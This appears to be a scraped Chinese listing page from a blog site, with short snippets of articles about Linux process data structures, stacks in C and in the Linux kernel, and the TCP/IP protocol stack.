    系统中能够随机访问固定大小数据片(chunk)的设备称为块设备,这些数据片就称作 块。最常见的块设备是硬盘,除此之外,还有CD-ROM驱动器和SSD等。它们通常安装文 件系统的方式使用。

    展开全文
  • Linux进程管理(一)进程数据结构

    千次阅读 2019-10-27 16:59:46
    文章目录Linux进程管理(一)进程数据结构双向链表任务ID信号处理进程状态进程调度运行统计信息进程亲缘关系内存管理文件与文件系统进程内核栈栈结构current宏 Linux内核中使用 task_struct 结构来表示一个进程,这...
  • Linux c 算法与数据结构--

    千次阅读 2015-12-05 18:03:31
    前段时间写了双向链表,现在写个,写之前,先简单介绍链表 队列 的区别: ... 链表实际上可以认为是一种数据的物理组织形式,是用指针或对象的引用组织起的一种数据的存储方式.  队列和堆栈是一个更高层次
  • 数据结构 顺序 c语言编写 for linux 仅供参考
  • 作者:Linux猿 ???? 简介:CSDN博客专家????,华为云享专家????,C/C++、面试、刷题、算法尽管咨询我,关注我,有问题私聊! ???? 关注专栏:C/C++面试通关集锦(优质好文持续更新中……)???? ???? 欢迎小伙伴...
  • 第2~5章在介绍了实现网络体系结构、协议、设备驱动程序的两个最重要的数据结构sk_buff和net_device的基础上,展示了Linux内核中为网络设备驱动程序设计和开发而建立的系统构架,最后以两个实例来具体说明如何着手...
  • 数据结构栈的创建(c语言)

    千次阅读 2019-06-18 12:10:05
    是一种线性数据结构,采用先进后出的方式管理数据其中一段固定,称之为底,另一端随着数据进出而随时改变位置,叫做栈顶,用程序实现一定要记录栈顶的位置,往放入数据操作称之为入栈(压栈),从中取出数据...
  • C++常用数据结构.rar

    2020-09-14 12:14:57
    常用数据结构(线性表、各类链表、散列表、和队列、树形结构、图型结构)的C++模板类方式实现, linux环境中通过编译测试(包含makefile和vscode工程文件) 仅供参考和交流学习,欢迎批评指正~
  • 目录一、linux基础、C语言、数据结构回顾1、linux基础:2、Linux下的C语言3、面试题4、linux数据结构5、Linux下高级编程6、结构7、物联网项目框架8、现如今物联网技术9、由表象到里象了解芯片10、了解芯片10、ARM...
  • linux tcpip协议.doc

    2019-10-29 23:19:36
    Linux TCP/IP 协议源码分析,两台主机建立udp通信所走过的函数列表 网络路径图、重要数据结构sk_buffer及路由介绍 从连接、发送、到接收数据包的过程
  • 1.1 发送端1.1.1 应用层(1) Socket应用层的各种网络应用程序基本上都是通过 Linux Socket 编程接口来和内核空间的网络协议通信的。Linux Socket 是从 BSD Socket 发展而来的,它是 Linux 操作系统的重要组成部分...
  • Linux 中的各种:进程 线程 内核 中断

    万次阅读 多人点赞 2016-09-01 21:52:02
    是什么?...首先, (stack) 是一种串列形式的 数据结构。这种数据结构的特点是 后入先出 (LIFO, Last In First Out),数据只能在串列的一端 (称为:栈顶 top) 进行 推入 (push) 和 弹出 (pop) 操作。
  • Linux 蓝牙协议的USB+设备驱动

    热门讨论 2010-12-28 15:16:53
    给出实现蓝牙设备驱动的重要数据结构和流程,并总结Linux 下开发蓝牙USB 设备驱动的一般方法和关键技术。 关键词:Linux 系统;蓝牙协议;设备驱动 USB Device Driver for Linux Bluetooth Stack LIANG Jun-xue...
  • 常见的顺序表,单链表,双向链表,队列,,二叉树,哈希表等完整代码介绍
  • 第2~5章在介绍了实现网络体系结构、协议、设备驱动程序的两个最重要的数据结构sk_buff和net_device的基础上,展示了Linux内核中为网络设备驱动程序设计和开发而建立的系统构架,最后以两个实例来具体说明如何着手...
  • 在进程创建时,内核会为进程创建一系列数据结构,其中最重要的就是上章学习的task_struct结构,它就是进程描述符,表明进程在生命周期内的所有特征。同时,内核为进程创建两个,一个是用户,一个是内核,分别...
  • 分享一篇很棒的Linux IO讲解

    千次阅读 2019-08-16 23:25:34
    原文地址: https://www.0xffffff.org/2017/05/01/41-linux-io/ 写在前面 在开始正式的讨论前,我先抛出几个问题: ...write(2)函数成功返回了,数据就已经成功写入磁盘了吗?此时设备断电会有...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 119,728
精华内容 47,891
关键字:

linux数据结构栈

数据结构 订阅